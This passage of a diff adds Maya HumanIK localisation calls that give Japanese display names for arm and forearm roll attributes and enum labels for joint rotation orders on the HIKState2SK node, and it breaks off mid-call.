+setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Rz", "左前腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5S", "左前腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Sx", "左前腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Sy", "左前腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Sz", "左前腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PGX", "左前腕ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", "左前腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5SC", "左前腕ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5IS", "左前腕ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ISx", "左前腕ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ISy", "左前腕ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ISz", "左前腕ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreR", "左前腕ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreRx", "左前腕ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreRy", "左前腕ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreRz", "左前腕ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostR", "左前腕ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostRx", "左前腕ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostRy", "左前腕ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostRz", "左前腕ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5T", "右腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Tx", "右腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Ty", "右腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Tz", "右腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5R", "右腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Rx", "右腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Ry", "右腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Rz", "右腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5S", "右腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Sx", "右腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Sy", "右腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Sz", "右腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PGX", "右腕ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ROrder", "右腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5SC", "右腕ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5IS", "右腕ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ISx", "右腕ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ISy", "右腕ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ISz", "右腕ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreR", "右腕ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreRx", "右腕ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreRy", "右腕ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreRz", "右腕ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostR", "右腕ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostRx", "右腕ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostRy", "右腕ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostRz", "右腕ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5T", "右前腕ロール 5 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Tx", "右前腕ロール 5 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Ty", "右前腕ロール 5 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Tz", "右前腕ロール 5 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5R", "右前腕ロール 5 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Rx", "右前腕ロール 5 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Ry", "右前腕ロール 5 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Rz", "右前腕ロール 5 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5S", "右前腕ロール 5 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Sx", "右前腕ロール 5 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Sy", "右前腕ロール 5 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Sz", "右前腕ロール 5 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PGX", "右前腕ロール 5 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", "右前腕ロール 5 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5SC", "右前腕ロール 5 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5IS", "右前腕ロール 5 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ISx", "右前腕ロール 5 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ISy", "右前腕ロール 5 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ISz", "右前腕ロール 5 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreR", "右前腕ロール 5 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreRx", "右前腕ロール 5 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreRy", "右前腕ロール 5 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreRz", "右前腕ロール 5 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostR", "右前腕ロール 5 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostRx", "右前腕ロール 5 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostRy", "右前腕ロール 5 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostRz", "右前腕ロール 5 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "fza", "フリーズの影響を受ける" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightUpLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightLegROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "SpineROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftForeArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightForeArmROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "HeadROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftToeBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightToeBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "NeckROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFingerBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFingerBaseROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine6ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine7ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine8ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Spine9ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck6ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck7ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck8ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "Neck9ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftUpLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftLegRollROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", 